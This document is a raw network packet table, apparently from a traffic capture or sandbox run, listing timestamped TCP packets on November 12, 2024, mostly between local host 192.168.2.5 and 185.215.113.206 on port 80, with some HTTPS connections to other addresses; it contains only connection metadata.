Nov 12, 2024 06:23:34.698762894 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.698777914 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.698786974 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.698792934 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.698802948 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.698805094 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.698817968 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.698833942 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.699295998 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.699317932 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.699332952 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.699354887 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.699374914 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.699409962 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.705128908 CET	443	54531	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:34.705410957 CET	54531	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:34.705423117 CET	443	54531	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:34.705770969 CET	443	54531	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:34.706182957 CET	54531	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:34.706249952 CET	443	54531	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:34.706722021 CET	54531	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:34.717348099 CET	443	54532	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:34.717593908 CET	54532	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:34.717605114 CET	443	54532	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:34.717967987 CET	443	54532	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:34.718343973 CET	54532	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:34.718426943 CET	443	54532	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:34.718499899 CET	54532	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:34.735760927 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.735774040 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.735793114 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.735802889 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.735816956 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.735821009 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.735826015 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.735852003 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.735868931 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.735922098 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.735943079 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.735953093 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.735976934 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.736001015 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.736047029 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.736054897 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.736061096 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.736088991 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.736103058 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.736109972 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.736130953 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.736146927 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.736165047 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.736166954 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.736193895 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.736237049 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.736248016 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.736279011 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.747332096 CET	443	54531	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:34.759335995 CET	443	54532	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:34.811712980 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.811731100 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.811743021 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.811758041 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.811775923 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.811882019 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.811892986 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.811904907 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.811916113 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.811922073 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.811934948 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.811964989 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.812268972 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.812278986 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.812289000 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.812319994 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.812334061 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.812349081 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.812359095 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.812371016 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.812375069 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.812385082 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.812388897 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.812397003 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.812407017 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.812408924 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.812417030 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.812417984 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.812433004 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.812462091 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.812472105 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.812482119 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.812504053 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.812520981 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.812531948 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.812566042 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.812597990 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.812608957 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.812638998 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.812824965 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.812835932 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.812854052 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.812865019 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.812864065 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.812874079 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.812875986 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.812896013 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.812918901 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.813050985 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.813061953 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.813072920 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.813088894 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.813117027 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.813182116 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.813191891 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.813203096 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.813214064 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.813234091 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.813241959 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.813251972 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.813261986 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.813272953 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.813281059 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.813282967 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.813297987 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.813319921 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.814091921 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.814135075 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.814193964 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.814203024 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.814212084 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.814223051 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.814225912 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.814234972 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.814244032 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.814245939 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.814265966 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.814280987 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.814280987 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.814308882 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.814692020 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.814701080 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.814711094 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.814726114 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.814744949 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.847174883 CET	443	54535	23.221.22.212	192.168.2.5
Nov 12, 2024 06:23:34.847405910 CET	54535	443	192.168.2.5	23.221.22.212
Nov 12, 2024 06:23:34.847419024 CET	443	54535	23.221.22.212	192.168.2.5
Nov 12, 2024 06:23:34.847748041 CET	443	54535	23.221.22.212	192.168.2.5
Nov 12, 2024 06:23:34.849056005 CET	54535	443	192.168.2.5	23.221.22.212
Nov 12, 2024 06:23:34.849112988 CET	443	54535	23.221.22.212	192.168.2.5
Nov 12, 2024 06:23:34.851048946 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.851066113 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.851075888 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.851092100 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.851114035 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.851114988 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.851124048 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.851140976 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.851167917 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.851243019 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.851253033 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.851264000 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.851289034 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.851300955 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.851309061 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.851317883 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.851330996 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.851332903 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.851346016 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.851361990 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.851419926 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.851434946 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.851464033 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.851473093 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.851484060 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.851492882 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.851524115 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.851592064 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.851597071 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.851598024 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.851629019 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.854269981 CET	443	54534	23.221.22.212	192.168.2.5
Nov 12, 2024 06:23:34.854429960 CET	54534	443	192.168.2.5	23.221.22.212
Nov 12, 2024 06:23:34.854449034 CET	443	54534	23.221.22.212	192.168.2.5
Nov 12, 2024 06:23:34.854754925 CET	443	54534	23.221.22.212	192.168.2.5
Nov 12, 2024 06:23:34.855037928 CET	54534	443	192.168.2.5	23.221.22.212
Nov 12, 2024 06:23:34.855112076 CET	443	54534	23.221.22.212	192.168.2.5
Nov 12, 2024 06:23:34.855330944 CET	443	54536	23.221.22.212	192.168.2.5
Nov 12, 2024 06:23:34.855539083 CET	54536	443	192.168.2.5	23.221.22.212
Nov 12, 2024 06:23:34.855556011 CET	443	54536	23.221.22.212	192.168.2.5
Nov 12, 2024 06:23:34.856450081 CET	443	54536	23.221.22.212	192.168.2.5
Nov 12, 2024 06:23:34.856509924 CET	54536	443	192.168.2.5	23.221.22.212
Nov 12, 2024 06:23:34.856750011 CET	54536	443	192.168.2.5	23.221.22.212
Nov 12, 2024 06:23:34.856815100 CET	443	54536	23.221.22.212	192.168.2.5
Nov 12, 2024 06:23:34.862238884 CET	443	54532	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:34.862263918 CET	443	54532	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:34.862302065 CET	54532	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:34.862313986 CET	443	54532	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:34.862387896 CET	443	54532	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:34.862425089 CET	54532	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:34.863219023 CET	54532	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:34.863229990 CET	443	54532	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:34.884929895 CET	443	54533	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:34.885406971 CET	54533	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:34.885430098 CET	443	54533	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:34.885937929 CET	54533	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:34.885942936 CET	443	54533	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:34.895303011 CET	54535	443	192.168.2.5	23.221.22.212
Nov 12, 2024 06:23:34.895318985 CET	54534	443	192.168.2.5	23.221.22.212
Nov 12, 2024 06:23:34.911268950 CET	54536	443	192.168.2.5	23.221.22.212
Nov 12, 2024 06:23:34.911279917 CET	443	54536	23.221.22.212	192.168.2.5
Nov 12, 2024 06:23:34.927288055 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.927299976 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.927310944 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.927355051 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.927366972 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.927376032 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.927377939 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.927416086 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.927510023 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.927556038 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.927570105 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.927572012 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.927581072 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.927604914 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.927623034 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.927632093 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.927674055 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.927697897 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.927709103 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.927721024 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.927735090 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.927759886 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.927807093 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.927824974 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.927843094 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.927851915 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.927879095 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.927890062 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.927908897 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.927920103 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.927931070 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.927949905 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.927968979 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.927989006 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.927999020 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.928014994 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.928024054 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.928025961 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.928033113 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.928039074 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.928047895 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.928073883 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.928123951 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.928363085 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.928373098 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.928386927 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.928406954 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.928428888 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.928432941 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.928443909 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.928471088 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.928917885 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.928963900 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.955859900 CET	54536	443	192.168.2.5	23.221.22.212
Nov 12, 2024 06:23:34.971432924 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.976326942 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.018439054 CET	443	54533	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:35.018610954 CET	443	54533	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:35.018810034 CET	54533	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:35.019319057 CET	54533	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:35.019332886 CET	443	54533	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:35.019356966 CET	54533	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:35.019362926 CET	443	54533	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:35.022342920 CET	54542	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:35.022399902 CET	443	54542	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:35.022572994 CET	54542	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:35.025629044 CET	54542	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:35.025656939 CET	443	54542	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:35.070704937 CET	443	54537	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:35.071557999 CET	54537	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:35.071557999 CET	54537	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:35.071582079 CET	443	54537	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:35.071600914 CET	443	54537	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:35.100492954 CET	54545	443	192.168.2.5	18.244.18.38
Nov 12, 2024 06:23:35.100513935 CET	443	54545	18.244.18.38	192.168.2.5
Nov 12, 2024 06:23:35.100717068 CET	54545	443	192.168.2.5	18.244.18.38
Nov 12, 2024 06:23:35.100717068 CET	54545	443	192.168.2.5	18.244.18.38
Nov 12, 2024 06:23:35.100742102 CET	443	54545	18.244.18.38	192.168.2.5
Nov 12, 2024 06:23:35.114554882 CET	443	54538	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:35.115242004 CET	54538	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:35.115257025 CET	443	54538	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:35.117449045 CET	443	54540	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:35.117487907 CET	54538	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:35.117491961 CET	443	54538	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:35.117696047 CET	54540	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:35.117717981 CET	443	54540	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:35.118058920 CET	54540	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:35.118073940 CET	443	54540	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:35.147622108 CET	443	54539	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:35.149373055 CET	443	54531	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:35.149446964 CET	443	54531	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:35.149710894 CET	54531	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:35.149710894 CET	54539	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:35.149728060 CET	443	54539	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:35.150223970 CET	54539	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:35.150224924 CET	54531	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:35.150228024 CET	443	54539	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:35.150237083 CET	443	54531	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:35.202421904 CET	443	54537	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:35.202708960 CET	443	54537	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:35.202882051 CET	54537	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:35.203645945 CET	54537	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:35.203660965 CET	443	54537	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:35.203685045 CET	54537	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:35.203691006 CET	443	54537	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:35.215581894 CET	54547	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:35.215620041 CET	443	54547	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:35.215717077 CET	54547	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:35.217618942 CET	54547	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:35.217633963 CET	443	54547	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:35.246895075 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.246922016 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.247041941 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.247071981 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.247118950 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.247128010 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.247134924 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.247157097 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.247178078 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.247232914 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.247241974 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.247251987 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.247262001 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.247281075 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.247302055 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.247322083 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.247348070 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.247345924 CET	443	54540	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:35.247392893 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.247399092 CET	80	49779	185.215.113.206	192.168.2.5
